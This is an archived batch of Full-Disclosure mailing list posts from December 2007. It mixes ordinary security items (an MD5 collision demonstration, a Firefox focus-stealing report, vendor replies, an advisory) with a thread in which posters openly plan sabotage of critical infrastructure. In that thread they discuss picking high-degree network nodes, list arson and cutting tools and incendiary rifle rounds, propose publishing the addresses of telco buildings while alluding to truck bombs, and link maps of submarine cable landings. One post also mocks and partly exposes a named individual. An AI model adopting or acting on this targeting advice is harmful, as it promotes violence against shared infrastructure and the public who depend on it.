From prb at lava.net Sat Dec 1 02:42:44 2007 From: prb at lava.net (Peter Besenbruch) Date: Fri, 30 Nov 2007 16:42:44 -1000 Subject: [Full-disclosure] High Value Target Selection In-Reply-To: <47505E42.90503@rogers.com> References: <47505E42.90503@rogers.com> Message-ID: <200711301642.44111.prb@lava.net> On Friday 30 November 2007 09:02:26 gmaggro wrote: > I think it'd be interesting if we started a discussion on the selection > of high value targets to be used in the staging of attacks that damage > significant infrastructure. The end goals, ranked equal in importance, > would be as follows: [big snip] So, you wanted to send a little Christmas present to the NSA folks monitoring the Internet backbone? Make their unutterably boring lives a little more "interesting?" We live in "interesting" times (not a good thing). I was over at the Mycroft site, and noticed that there was a Firefox search extension for Scroogle that uses encryption. There was another encrypted search tool for Wikipedia. http://mycroft.mozdev.org/download.html?name=scroogle&sherlock=yes&opensearch=yes&submitform=Search http://mycroft.mozdev.org/download.html?name=secure+wikipedia&sherlock=yes&opensearch=yes&submitform=Search -- Hawaiian Astronomical Society: http://www.hawastsoc.org HAS Deepsky Atlas: http://www.hawastsoc.org/deepsky From coderman at gmail.com Sat Dec 1 05:27:34 2007 From: coderman at gmail.com (coderman) Date: Fri, 30 Nov 2007 21:27:34 -0800 Subject: [Full-disclosure] High Value Target Selection In-Reply-To: <47505E42.90503@rogers.com> References: <47505E42.90503@rogers.com> Message-ID: <4ef5fec60711302127i3e7baef0vf055d8a6592a5ee7@mail.gmail.com> On Nov 30, 2007 11:02 AM, gmaggro wrote: > I think it'd be interesting if we started a discussion on the selection > of high value targets translation: let's discuss how to discern high degree and/or vulnerable nodes in critical infrastructure networks. > 1. To bring like minded people together while operating under the > strategy of 'leaderless resistance' > (http://en.wikipedia.org/wiki/Leaderless_resistance) *yawn* > 2. To be the 'aboveground' partner to the 'underground' scene, or at > least serve to distract authorities from the activities of underground > groups ... ZZzzzzZZZ ... you're losing me, jim. > 3. To see exactly what can be accomplished, and accomplish it pretty easy to make inferences once you've mapped out the critical infrastructure in question. this is of course a little more difficult now given the mostly inept attempts to reign in useful information on such infrastructure. (the easy days of pulling up fiber plats via county/gov websites is long gone...) as for actual attacks, you'll be biting the hand that feeds... (i'll wait for that decentralized wireless mesh net before slicing those glassy life lines, thanks) > 4. To capture the imagination of the public more like hatred. the unwashed masses get all restless and cranky when: a) the 'tubes are clogged or dead b) phone lines to anywhere outside town are down. c) all credit / debit transactions are dead - cash only? d) some/most cable programming is tits up e) travel and/or fuel is highly constrained / unavailable f) electricity is spotty or unavailable > Capturing the imagination of the public sounds like bizspeek bullshit, this i fully agree with. thanks for that... > So, types of infrastructure to attack: > [ list of infrastructure domains as if they exist as discrete units independent of each other... lolz! ] rarely is one affected in isolation. the ugly truth about critical infrastructure is that those high degree, critical nodes start impacting multiple domains at once when affected by outages or targeted attack. > [lots of blah blah blah misunderstanding of what critical infrastructure > is and how it is organized, USA bashing, etc...] first, go read Global Guerrillas. that will keep you busy for a few weeks and save us all more of this blather: http://globalguerrillas.typepad.com/globalguerrillas/ second, some attacking critical infrastructure clif notes: 1. those with clue have realized the folly of trying to make infallible infrastructure. their focus has shifted to rapid repair instead of prevention. there are papers written that describe exactly how stupid it is to think you can build resilient infrastructure in the face of a skilled attacker. (see the ATT telco in a trailer truck, etc) 2. critical infrastructure viewed as a graph theory problem highlights the compound vulnerabilities across multiple infrastructures inherent in high degree / high value nodes of critical infrastucture. (metropolitan bridges carrying fiber, gas, electricity, vehicles, etc over the same physical span, etc.) 3. most critical infrastructure is resilient against planned / common failure scenarios, and these protections actually create hyper- sensitive vulnerabilities against targeted / unplanned attacks. (M of N redundancy that leads to catastrophic failure against well targeted M attacks, etc.) combining these aspects into attack scenarios is left as an exercise for the reader [who pines for a vacation in club fed...] the crux of the problem for the practical attacker is discerning the nature and location of critical infrastructure nodes and links. fortunately for the determined individual this is merely a matter of effort and time, not a question of ability. for the rest of us this means our life style / way of life is highly dependent on the lack of sufficiently skilled malcontents able and willing to express their grievances in direct action against such systems. perhaps this can be viewed as a check against the fascist dystopia many fear as the end result of authoritarian abuse of power coupled with high tech tools for manipulation and control of the populace... best regards, p.s. my favorite tools in such scenarios (of course not advocation): - the thermic lance - portable saws (lithium battery cells quite power dense now) - post hole diggers - thermite flower pots (lol, so much fun!) - software defined / police band and EM svcs capable radios - bolt action .50 BMG (incendiary DU rounds++) From James.Williams at ca.com Sat Dec 1 08:37:50 2007 From: James.Williams at ca.com (Williams, James K) Date: Sat, 1 Dec 2007 03:37:50 -0500 Subject: [Full-disclosure] ZDI-07-069: CA BrightStor ARCserve Backup Message Engine Insecure Method Exposure Vulnerability Message-ID: <649CDCB56C88AA458EFF2CBF494B620403F6ABE1@USILMS12.ca.com> > Date: Wed, 28 Nov 2007 03:32:51 +0000 > From: cocoruder. > Subject: Re: [Full-disclosure] ZDI-07-069: CA BrightStor > ARCserve Backup Message Engine Insecure Method Expos > To: , > > it is so amazing that the vendor's advisory has been released > more than one month ago, (see my advisory of a similar vul at > http://ruder.cdut.net/blogview.asp?logID=221), and another thing > is that I have tested my reported vul again after CA's patch > released one month ago, but in fact they have not fixed it!! I > report it again to CA but there is no response, I guess CA is > making an international joke with us:), or because this product > is sooooooooo bad that they will not support it any more? > welcome to my blog:http://ruder.cdut.net cocoruder, We have not received any email from frankruder at hotmail, but we did receive an email about this issue from hfli at fortinet on 2007-10-15. We responded to that email on 2007-10-15. FYI, we are currently wrapping up QA on new patches, and we have contacted hfli at fortinet with details. Regards, Ken Ken Williams ; 0xE2941985 Director, CA Vulnerability Research From slythers at gmail.com Sat Dec 1 10:27:58 2007 From: slythers at gmail.com (Slythers Bro) Date: Sat, 1 Dec 2007 11:27:58 +0100 Subject: [Full-disclosure] PlayStation 3 predicts next US president (fwd) In-Reply-To: References: Message-ID: <8f6a58a30712010227g18b52062k3a7e567871aedb5e@mail.gmail.com> is it real ? -------------- next part -------------- An HTML attachment was scrubbed... URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20071201/6f79c342/attachment.html From majormal at pirate-radio.org Sat Dec 1 10:25:31 2007 From: majormal at pirate-radio.org (Major Malfunction) Date: Sat, 01 Dec 2007 10:25:31 +0000 Subject: [Full-disclosure] DC4420 - London DEFCON chapter Christmas Party - 11th December Message-ID: <4751369B.9060307@pirate-radio.org> hi all, you are cordially invited to the final DC4420 meet of 2007, which will be held on Tuesday the 11th December, at the usual location - Charing Cross Sports Club, Charing Cross Hospital: http://www.multimap.com/map/browse.cgi?lat=51.4857&lon=-0.2194&scale=5000&icon=x more info here: http://dc4420.org we have the bar to ourselves and there will be no particular agenda other than drinking the place dry, eating good food and socialising, but we will definitely also be celebrating Alien's continued presence on our home planet after his near miss with the man in the black cloak! all are welcome... "fight club" speaking rules are suspended for the evening, so bring a friend or two and make this a party to remember! cheers, MM -- "In DEFCON, we have no names..." errr... well, we do... but silly ones... From isbackgobbles at googlemail.com Sat Dec 1 12:55:12 2007 From: isbackgobbles at googlemail.com (Gobbles is back) Date: Sat, 1 Dec 2007 12:55:12 +0000 Subject: [Full-disclosure] Phioust gets all emotional to gobbles and friends ... Message-ID: <679de8620712010455qc29a263p8c571ecca24de6df@mail.gmail.com> Phioust means business with his real name and all those philosopher (HAAAA), CISSP and MCSE (lol) degrees ... see for urself in his dangerously sexy email ... in response to our spam threat :) ---------- Forwarded message ---------- From: phioust Date: Nov 30, 2007 9:33 PM Subject: spam? To: isbackgobbles at googlemail.com i suggest you do not make anymore threats, belive me, i have lots of contacts to track you down .. -- Lionel Phioust Phd, CISSP, MCSE ohhhh f33r the b33r, he owns 100 TOR nodes, 10000 wireless hotspots and one lesbian gmail server admin to track our IP's .. wuuuuu !!!! Spammers - We got Phiousts real name for yaall, self pat on the back for good work. ohhh wait wait .. lets make him a bit more jobless by the oath of google Lionel Phioust, security, exploits, bugtraq, scriptkiddie, lamer, idiot, bisexual, Phioust. ROFL Note - Some of our concerned fans suspect us not to be gobbles. I will save all those online forensic retards the time to analyse our emails and come straight to the point .. in w00w00 style .. 10 europeans, 15 asians, 11 americans and one hell of a funny little turkey .. 5 member required to not f33r w00w00 might .. and no .. Shok dont look like Marilyn Mansons gimp boy !!! .. well the gimp suite was stiched by us .. -------------- next part -------------- An HTML attachment was scrubbed... URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20071201/8ed82fde/attachment.html From kristian.hermansen at gmail.com Sat Dec 1 13:06:36 2007 From: kristian.hermansen at gmail.com (Kristian Erik Hermansen) Date: Sat, 1 Dec 2007 05:06:36 -0800 Subject: [Full-disclosure] MD5 algorithm considered toxic (and harmful) Message-ID: I know of many commercial security products which still utilize MD5 to prove integrity of the data they distribute to customers. This should no longer be considered appropriate. Now that tools are readily available to exploit newer MD5 collision research, I think it is safe to say that the public should retire its usage for good. Read the most recent research regarding chosen-prefix collisions: http://www.win.tue.nl/hashclash/EC07v2.0.pdf A concrete example for your perusal: khermans at khermans-laptop:/tmp$ wget http://www.win.tue.nl/hashclash/SoftIntCodeSign/HelloWorld-colliding.exe --04:36:32-- http://www.win.tue.nl/hashclash/SoftIntCodeSign/HelloWorld-colliding.exe => `HelloWorld-colliding.exe' Resolving www.win.tue.nl... 131.155.70.190 Connecting to www.win.tue.nl|131.155.70.190|:80... connected. HTTP request sent, awaiting response... 200 OK Length: 41,792 (41K) [application/octet-stream] 100%[====================================>] 41,792 109.16K/s 04:36:33 (108.92 KB/s) - `HelloWorld-colliding.exe' saved [41792/41792] khermans at khermans-laptop:/tmp$ wget http://www.win.tue.nl/hashclash/SoftIntCodeSign/GoodbyeWorld-colliding.exe --04:36:37-- http://www.win.tue.nl/hashclash/SoftIntCodeSign/GoodbyeWorld-colliding.exe => `GoodbyeWorld-colliding.exe' Resolving www.win.tue.nl... 131.155.70.190 Connecting to www.win.tue.nl|131.155.70.190|:80... connected. HTTP request sent, awaiting response... 200 OK Length: 41,792 (41K) [application/octet-stream] 100%[====================================>] 41,792 127.20K/s 04:36:38 (126.82 KB/s) - `GoodbyeWorld-colliding.exe' saved [41792/41792] khermans at khermans-laptop:/tmp$ ls -lsha *.exe 44K -rw-r--r-- 1 khermans khermans 41K 2007-11-23 01:08 GoodbyeWorld-colliding.exe 44K -rw-r--r-- 1 khermans khermans 41K 2007-11-23 01:08 HelloWorld-colliding.exe khermans at khermans-laptop:/tmp$ strings HelloWorld-colliding.exe | tail SetFilePointer MultiByteToWideChar LCMapStringA LCMapStringW GetStringTypeA GetStringTypeW SetStdHandle CloseHandle KERNEL32.dll Hello World ;-) khermans at khermans-laptop:/tmp$ strings GoodbyeWorld-colliding.exe | tail SetFilePointer MultiByteToWideChar LCMapStringA LCMapStringW GetStringTypeA GetStringTypeW SetStdHandle CloseHandle KERNEL32.dll Goodbye World :-( khermans at khermans-laptop:/tmp$ md5sum HelloWorld-colliding.exe | awk '{print $1}' | tee hw 18fcc4334f44fed60718e7dacd82dddf khermans at khermans-laptop:/tmp$ md5sum GoodbyeWorld-colliding.exe | awk '{print $1}' | tee gw 18fcc4334f44fed60718e7dacd82dddf khermans at khermans-laptop:/tmp$ cmp hw gw khermans at khermans-laptop:/tmp$ echo $? 0 There you have it. Surely a GPL'd tool implementing this attack style will be available shortly. And since Chinese researchers have been attacking SHA-1 lately, should SHA-256 be considered the proper replacement? I am unsure :-( -- Kristian Erik Hermansen "I have no special talent. I am only passionately curious." From hardwick.carl at gmail.com Sat Dec 1 13:48:35 2007 From: hardwick.carl at gmail.com (carl hardwick) Date: Sat, 1 Dec 2007 14:48:35 +0100 Subject: [Full-disclosure] Firefox 2.0.0.11 File Focus Stealing vulnerability Message-ID: Firefox 2.0.0.11 File Focus Stealing vulnerability: Sorry Mozilla, but the recent file focus fix was not enough. I think Mozilla made another mistake while fixing the previous file/label issue. Because now I embed a file field and a textfield inside one label. When this happens, and you type only one time in the textfield, the focus travels to the file field and the value travels with it. Back to the drawing board I would say. I only got it to work in Firefox, Gareth checked Safari for me, and it also works in Safari. I guess this type of exploit could function on other HTML objects as well, and could be very dangerous because it only requires a one time focus in a textfield. PoC here: http://carl-hardwick.googlegroups.com/web/Firefox20011StealFocusFlaw.htm From steven at securityzone.org Sat Dec 1 15:20:53 2007 From: steven at securityzone.org (Steven Adair) Date: Sat, 1 Dec 2007 10:20:53 -0500 (EST) Subject: [Full-disclosure] MD5 algorithm considered toxic (and harmful) In-Reply-To: References: Message-ID: <26439.65.88.218.157.1196522453.squirrel@slashmail.org> > > > There you have it. Surely a GPL'd tool implementing this attack style > will be available shortly. And since Chinese researchers have been > attacking SHA-1 lately, should SHA-256 be considered the proper > replacement? I am unsure :-( Yes, it would probably be a good idea. I think this link has been put out on this list in the past with respect to discussion on SHA-1: http://csrc.nist.gov/groups/ST/toolkit/secure_hashing.html NIST might not be the bible to you on what to follow and implement, but they are definitely worth listening to (even if you're not a U.S. Federal agency) when they tell you not to use something anymore. For those that don't want to click and just want to read, here's the relevant parts: ---- March 15, 2006: The SHA-2 family of hash functions (i.e., SHA-224, SHA-256, SHA-384 and SHA-512) may be used by Federal agencies for all applications using secure hash algorithms. Federal agencies should stop using SHA-1 for digital signatures, digital time stamping and other applications that require collision resistance as soon as practical, and must use the SHA-2 family of hash functions for these applications after 2010. After 2010, Federal agencies may use SHA-1 only for the following applications: hash-based message authentication codes (HMACs); key derivation functions (KDFs); and random number generators (RNGs). Regardless of use, NIST encourages application and protocol designers to use the SHA-2 family of hash functions for all new applications and protocols. ---- Steven http://www.securityzone.org > -- > Kristian Erik Hermansen > "I have no special talent. I am only passionately curious." > > _______________________________________________ > Full-Disclosure - We believe in it. > Charter: http://lists.grok.org.uk/full-disclosure-charter.html > Hosted and sponsored by Secunia - http://secunia.com/ > From juha-matti.laurio at netti.fi Sat Dec 1 15:24:56 2007 From: juha-matti.laurio at netti.fi (Juha-Matti Laurio) Date: Sat, 1 Dec 2007 17:24:56 +0200 (EET) Subject: [Full-disclosure] Firefox 2.0.0.11 File Focus Stealing vulnerability Message-ID: <1200694.87911196522696390.JavaMail.juha-matti.laurio@netti.fi> Netscape Navigator version 9.0.0.4 is affected too. Test done with PoC-type URL mentioned on Mac OS X 10.4.10 fully patched. Vendor was contacted on 1st Dec 2007. - Juha-Matti carl hardwick wrote: > Firefox 2.0.0.11 File Focus Stealing vulnerability: > > Sorry Mozilla, but the recent file focus fix was not enough. I think > Mozilla made another mistake while fixing the previous file/label > issue. Because now I embed a file field and a textfield inside one > label. When this happens, and you type only one time in the textfield, > the focus travels to the file field and the value travels with it. > Back to the drawing board I would say. I only got it to work in > Firefox, Gareth checked Safari for me, and it also works in Safari. I > guess this type of exploit could function on other HTML objects as > well, and could be very dangerous because it only requires a one time > focus in a textfield. > > PoC here: > http://carl-hardwick.googlegroups.com/web/Firefox20011StealFocusFlaw.htm > From announce-noreply at rpath.com Sat Dec 1 03:54:22 2007 From: announce-noreply at rpath.com (rPath Update Announcements) Date: Fri, 30 Nov 2007 22:54:22 -0500 Subject: [Full-disclosure] rPSA-2007-0255-1 nss_ldap Message-ID: <4750daee.wSL5wQCJa3g/Dx8V%announce-noreply@rpath.com> rPath Security Advisory: 2007-0255-1 Published: 2007-11-30 Products: rPath Linux 1 Rating: Minor Exposure Level Classification: Local Weakness Updated Versions: nss_ldap=conary.rpath.com at rpl:1/239-9.2-1 rPath Issue Tracking System: https://issues.rpath.com/browse/RPL-1913 References: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5794 Description: Previous versions of the nss_ldap package contain a race condition that can cause nss_ldap to return incorrect data to requesting processes. http://wiki.rpath.com/Advisories:rPSA-2007-0255 Copyright 2007 rPath, Inc. This file is distributed under the terms of the MIT License. A copy is available at http://www.rpath.com/permanent/mit-license.html From prandal at herefordshire.gov.uk Sat Dec 1 15:58:37 2007 From: prandal at herefordshire.gov.uk (Randal, Phil) Date: Sat, 1 Dec 2007 15:58:37 -0000 Subject: [Full-disclosure] Firefox 2.0.0.11 File Focus Stealing vulnerability In-Reply-To: <1200694.87911196522696390.JavaMail.juha-matti.laurio@netti.fi> References: <1200694.87911196522696390.JavaMail.juha-matti.laurio@netti.fi> Message-ID: <7EF0EE5CB3B263488C8C18823239BEBA03CF3B@HC-MBX02.herefordshire.gov.uk> And the Mozilla bugzilla number is? -----Original Message----- From: full-disclosure-bounces at lists.grok.org.uk [mailto:full-disclosure-bounces at lists.grok.org.uk] On Behalf Of Juha-Matti Laurio Sent: 01 December 2007 15:25 To: carl hardwick; full-disclosure at lists.grok.org.uk Subject: Re: [Full-disclosure] Firefox 2.0.0.11 File Focus Stealing vulnerability Netscape Navigator version 9.0.0.4 is affected too. Test done with PoC-type URL mentioned on Mac OS X 10.4.10 fully patched. Vendor was contacted on 1st Dec 2007. - Juha-Matti carl hardwick wrote: > Firefox 2.0.0.11 File Focus Stealing vulnerability: > > Sorry Mozilla, but the recent file focus fix was not enough. I think > Mozilla made another mistake while fixing the previous file/label > issue. Because now I embed a file field and a textfield inside one > label. When this happens, and you type only one time in the textfield, > the focus travels to the file field and the value travels with it. > Back to the drawing board I would say. I only got it to work in > Firefox, Gareth checked Safari for me, and it also works in Safari. I > guess this type of exploit could function on other HTML objects as > well, and could be very dangerous because it only requires a one time > focus in a textfield. > > PoC here: > http://carl-hardwick.googlegroups.com/web/Firefox20011StealFocusFlaw.h > tm > _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ From gmaggro at rogers.com Sat Dec 1 16:09:55 2007 From: gmaggro at rogers.com (gmaggro) Date: Sat, 01 Dec 2007 11:09:55 -0500 Subject: [Full-disclosure] High Value Target Selection In-Reply-To: <4ef5fec60711302127i3e7baef0vf055d8a6592a5ee7@mail.gmail.com> References: <47505E42.90503@rogers.com> <4ef5fec60711302127i3e7baef0vf055d8a6592a5ee7@mail.gmail.com> Message-ID: <47518753.9030006@rogers.com> > translation: let's discuss how to discern high degree and/or vulnerable > nodes in critical infrastructure networks. Correct. >> 1. To bring like minded people together while operating under the >> strategy of 'leaderless resistance' >> (http://en.wikipedia.org/wiki/Leaderless_resistance) > > *yawn* Apologies, but there's some people that haven't heard of the idea. Not everyone here is from a western country, or wastes their time combing for what might be perceived as 'out there' literature like ELF or SHAC stuff. >> 2. To be the 'aboveground' partner to the 'underground' scene, or at >> least serve to distract authorities from the activities of underground >> groups > > ... ZZzzzzZZZ ... you're losing me, jim. If we wind up not being to do anything useful, then at least run interference for the real subversives. Keep our friends in intel and law enforcement busy chasing dead ends. Lower the signal-to-noise ratio and make them have to spend as much money as possible. Tarpit them. >> 4. To capture the imagination of the public > > more like hatred. What exactly is the difference? :) >> So, types of infrastructure to attack: >> [ list of infrastructure domains as if they exist as discrete units > independent of each other... lolz! ] Well, what was one to do - just put "1. The Internet"? No, the domains were split up for the matter of discussion. Of course with networks any divisions are arbitrary. But given the large area to attack, some focusing of effort will be required, at least at first. >> [lots of blah blah blah misunderstanding of what critical infrastructure >> is and how it is organized, USA bashing, etc...] Please elaborate on your perceptions of my failure to adequately define 'critical infrastructure'. As for USA bashing, meh. It's just that they make a great target and they got lots of enemies. If I was Irish, maybe I'd have picked England, and if I was Chechen, maybe I'd pick Russia. Not important. > first, go read Global Guerrillas. that will keep you busy for a few weeks > and save us all more of this blather: > http://globalguerrillas.typepad.com/globalguerrillas/ Thanks for the link, I'll check it out. > second, some attacking critical infrastructure clif notes: > > 1. those with clue have realized the folly of trying to make infallible > infrastructure. their focus has shifted to rapid repair instead of > prevention. there are papers written that describe exactly how > stupid it is to think you can build resilient infrastructure in the face > of a skilled attacker. > (see the ATT telco in a trailer truck, etc) > > 2. critical infrastructure viewed as a graph theory problem highlights > the compound vulnerabilities across multiple infrastructures inherent > in high degree / high value nodes of critical infrastucture. > (metropolitan bridges carrying fiber, gas, electricity, vehicles, etc > over the same physical span, etc.) > > 3. most critical infrastructure is resilient against planned / common > failure scenarios, and these protections actually create hyper- > sensitive vulnerabilities against targeted / unplanned attacks. > (M of N redundancy that leads to catastrophic failure against > well targeted M attacks, etc.) Good stuff. But wouldn't you have already surprised yourself vis-a-vis your first point? 'those with clue' are smaller than we'd like. Sloppiness abounds; I am certain of that. > combining these aspects into attack scenarios is left as an > exercise for the reader [who pines for a vacation in club fed...] Well that depends on the exact nature of any alleged or purported crime, and whatever extradition treaties between the nation-state someone resides in and the USA. They also have to catch you first. > the crux of the problem for the practical attacker is discerning the nature > and location of critical infrastructure nodes and links. fortunately for the > determined individual this is merely a matter of effort and time, not a > question of ability. for the rest of us this means our life style / way of life > is highly dependent on the lack of sufficiently skilled malcontents able and > willing to express their grievances in direct action against such systems. A good summary, thank you. So I suppose I'm saying "Hey malcontents, if we can't go more public let's start sharing info and making it incredibly easy for other malcontents". And would people, for once, consider that maybe the net was adopted too damn fast by too many morons in too slap-dash a fashion? I never thought I'd find myself arguing for a conservative approach in, well, anything. But people really need to start doing a better job as it's affecting too many people. Since that's not likely to happen.. > perhaps this can be viewed as a check against the fascist dystopia many > fear as the end result of authoritarian abuse of power coupled with high > tech tools for manipulation and control of the populace... > p.s. my favorite tools in such scenarios (of course not advocation): > - the thermic lance > - portable saws (lithium battery cells quite power dense now) > - post hole diggers > - thermite flower pots (lol, so much fun!) > - software defined / police band and EM svcs capable radios > - bolt action .50 BMG (incendiary DU rounds++) Why not advocate? If you did get in trouble for this post, I don't think adding a caveat like "of course not advocation" would help you much, if at all. Like those quips in Phrack or Paladin Press books "For educational purposes only". Bwahahaha! Really, how much trouble could we get in if we posted up a list of street addresses, each address being a building that contained significant telco and/or routing infrastructure? Especially if the next week, a bunch of completely unrelated people park Oklahoma Specials out front of said buildings and blow them up. I know where those locations are for my city, and I'm sure others know where those are for their cities. I say, let's post them up, make alot of people nervous, and see what happens. Additional thoughts: Probably be some interesting/useful information poking around BGP land and looking at ASs and their relationships in more detail. Especially when cross-referenced to actual physical locations. Interesting maps: http://chrisharrison.net/projects/InternetMap/high/worlddotblack.png http://chrisharrison.net/projects/InternetMap/high/worldBlack.png http://chrisharrison.net/projects/InternetMap/high/euroblack.png http://chrisharrison.net/projects/InternetMap/high/NorthAmericaBlack.png http://www.isi.edu/ant/address/ http://xkcd.com/195/ From gmaggro at rogers.com Sat Dec 1 16:49:08 2007 From: gmaggro at rogers.com (gmaggro) Date: Sat, 01 Dec 2007 11:49:08 -0500 Subject: [Full-disclosure] High Value Target Selection In-Reply-To: <4ef5fec60711302127i3e7baef0vf055d8a6592a5ee7@mail.gmail.com> References: <47505E42.90503@rogers.com> <4ef5fec60711302127i3e7baef0vf055d8a6592a5ee7@mail.gmail.com> Message-ID: <47519084.4040108@rogers.com> Forgot to tack these onto the last post. The wikipedia entry http://en.wikipedia.org/wiki/Submarine_communications_cable has some amusing links in it's reference section: http://www.telegeography.com/products/map_cable/images/sub_cable_2007_large.jpg http://www1.alcatel-lucent.com/submarine/refs/World_Map_LR.pdf http://www.kddi.com/english/business/oversea/pdf/kddi_gnm_en.pdf http://www.kidorf.com/DBLandings.php And a list of the cable laying ships. Does that equate to cable repairships? http://www.iscpc.org/information/Cableships_Page.htm Apologies for the noise. From nate.mcfeters at gmail.com Sat Dec 1 17:37:29 2007 From: nate.mcfeters at gmail.com (Nate McFeters) Date: Sat, 1 Dec 2007 12:37:29 -0500 Subject: [Full-disclosure] Firefox 2.0.0.11 File Focus Stealing vulnerability In-Reply-To: <1200694.87911196522696390.JavaMail.juha-matti.laurio@netti.fi> References: <1200694.87911196522696390.JavaMail.juha-matti.laurio@netti.fi> Message-ID: <997ef2c20712010937q1cc66354w78ac71761b31f1a0@mail.gmail.com> More than likely all the gecko based browsers will be vulnerable to this. So that would include Mozilla, Camino, SeaMonkey... possibly even things like Thunderbird if you could get it to render. Nice find guys! Nate On 12/1/07, Juha-Matti Laurio wrote: > > Netscape Navigator version 9.0.0.4 is affected too. Test done with > PoC-type URL mentioned on Mac OS X 10.4.10 fully patched. > Vendor was contacted on 1st Dec 2007. > > - Juha-Matti > > carl hardwick wrote: > > Firefox 2.0.0.11 File Focus Stealing vulnerability: > > > > Sorry Mozilla, but the recent file focus fix was not enough. I think > > Mozilla made another mistake while fixing the previous file/label > > issue. Because now I embed a file field and a textfield inside one > > label. When this happens, and you type only one time in the textfield, > > the focus travels to the file field and the value travels with it. > > Back to the drawing board I would say. I only got it to work in > > Firefox, Gareth checked Safari for me, and it also works in Safari. I > > guess this type of exploit could function on other HTML objects as > > well, and could be very dangerous because it only requires a one time > > focus in a textfield. > > > > PoC here: > > http://carl-hardwick.googlegroups.com/web/Firefox20011StealFocusFlaw.htm > > > > _______________________________________________ > Full-Disclosure - We believe in it. > Charter: http://lists.grok.org.uk/full-disclosure-charter.html > Hosted and sponsored by Secunia - http://secunia.com/ > -------------- next part -------------- An HTML attachment was scrubbed... URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20071201/81cebd51/attachment.html From nytrokiss at gmail.com Sat Dec 1 17:39:56 2007 From: nytrokiss at gmail.com (James Matthews) Date: Sat, 1 Dec 2007 18:39:56 +0100 Subject: [Full-disclosure] MD5 algorithm considered toxic (and harmful) In-Reply-To: <26439.65.88.218.157.1196522453.squirrel@slashmail.org> References: <26439.65.88.218.157.1196522453.squirrel@slashmail.org> Message-ID: <8a6b8e350712010939g1fee081eqd7815ba53a594b25@mail.gmail.com> I agree! It should be changed and i have no idea why people still use it! On Dec 1, 2007 4:20 PM, Steven Adair wrote: > > > > > > There you have it. Surely a GPL'd tool implementing this attack style > > will be available shortly. And since Chinese researchers have been > > attacking SHA-1 lately, should SHA-256 be considered the proper > > replacement? I am unsure :-( > > Yes, it would probably be a good idea. I think this link has been put out > on this list in the past with respect to discussion on SHA-1: > > http://csrc.nist.gov/groups/ST/toolkit/secure_hashing.html > > NIST might not be the bible to you on what to follow and implement, but > they are definitely worth listening to (even if you're not a U.S. Federal > agency) when they tell you not to use something anymore. For those that > don't want to click and just want to read, here's the relevant parts: > > ---- > > March 15, 2006: The SHA-2 family of hash functions (i.e., SHA-224, > SHA-256, SHA-384 and SHA-512) may be used by Federal agencies for all > applications using secure hash algorithms. Federal agencies should stop > using SHA-1 for digital signatures, digital time stamping and other > applications that require collision resistance as soon as practical, and > must use the SHA-2 family of hash functions for these applications after > 2010. After 2010, Federal agencies may use SHA-1 only for the following > applications: hash-based message authentication codes (HMACs); key > derivation functions (KDFs); and random number generators (RNGs). > Regardless of use, NIST encourages application and protocol designers to > use the SHA-2 family of hash functions for all new applications and > protocols. > > ---- > > Steven > http://www.securityzone.org > > > -- > > Kristian Erik Hermansen > > "I have no special talent. I am only passionately curious." > > > > _______________________________________________ > > Full-Disclosure - We believe in it. > > Charter: http://lists.grok.org.uk/full-disclosure-charter.html > > Hosted and sponsored by Secunia - http://secunia.com/ > > > > > _______________________________________________ > Full-Disclosure - We believe in it. > Charter: http://lists.grok.org.uk/full-disclosure-charter.html > Hosted and sponsored by Secunia - http://secunia.com/ > -- http://search.goldwatches.com/?Search=Movado+Watches http://www.jewelerslounge.com http://www.goldwatches.com -------------- next part -------------- An HTML attachment was scrubbed... URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20071201/46c508bd/attachment.html From erey at ernw.de Sat Dec 1 17:51:47 2007 From: erey at ernw.de (Enno Rey) Date: Sat, 1 Dec 2007 18:51:47 +0100 Subject: [Full-disclosure] MD5 algorithm considered toxic (and harmful) In-Reply-To: <8a6b8e350712010939g1fee081eqd7815ba53a594b25@mail.gmail.com> References: <26439.65.88.218.157.1196522453.squirrel@slashmail.org> <8a6b8e350712010939g1fee081eqd7815ba53a594b25@mail.gmail.com> Message-ID: <20071201175147.GA85617@ws23.ernw.de> because they perform risk-analysis: - what are the threats to my assets? - which role does MD5 play there? - any subsequent risk then from using it? - high priority risk? mitigating controls or risk acceptance? would you be so kind to show me a real-world attack against a VPN using MD5 hashing? ... thanks, Enno On Sat, Dec 01, 2007 at 06:39:56PM +0100, James Matthews wrote: > I agree! It should be changed and i have no idea why people still use it! > > On Dec 1, 2007 4:20 PM, Steven Adair wrote: > > > > > > > > > > There you have it. Surely a GPL'd tool implementing this attack style > > > will be available shortly. And since Chinese researchers have been > > > attacking SHA-1 lately, should SHA-256 be considered the proper > > > replacement? I am unsure :-( > > > > Yes, it would probably be a good idea. I think this link has been put out > > on this list in the past with respect to discussion on SHA-1: > > > > http://csrc.nist.gov/groups/ST/toolkit/secure_hashing.html > > > > NIST might not be the bible to you on what to follow and implement, but > > they are definitely worth listening to (even if you're not a U.S. Federal > > agency) when they tell you not to use something anymore. For those that > > don't want to click and just want to read, here's the relevant parts: > > > > ---- > > > > March 15, 2006: The SHA-2 family of hash functions (i.e., SHA-224, > > SHA-256, SHA-384 and SHA-512) may be used by Federal agencies for all > > applications using secure hash algorithms. Federal agencies should stop > > using SHA-1 for digital signatures, digital time stamping and other > > applications that require collision resistance as soon as practical, and > > must use the SHA-2 family of hash functions for these applications after > > 2010. After 2010, Federal agencies may use SHA-1 only for the following > > applications: hash-based message authentication codes (HMACs); key > > derivation functions (KDFs); and random number generators (RNGs). > > Regardless of use, NIST encourages application and protocol designers to > > use the SHA-2 family of hash functions for all new applications and > > protocols. > > > > ---- > > > > Steven > > http://www.securityzone.org > > > > > -- > > > Kristian Erik Hermansen > > > "I have no special talent. I am only passionately curious." > > > > > > _______________________________________________ > > > Full-Disclosure - We believe in it. > > > Charter: http://lists.grok.org.uk/full-disclosure-charter.html > > > Hosted and sponsored by Secunia - http://secunia.com/ > > > > > > > > > _______________________________________________ > > Full-Disclosure - We believe in it. > > Charter: http://lists.grok.org.uk/full-disclosure-charter.html > > Hosted and sponsored by Secunia - http://secunia.com/ > > > > > > -- > http://search.goldwatches.com/?Search=Movado+Watches > http://www.jewelerslounge.com > 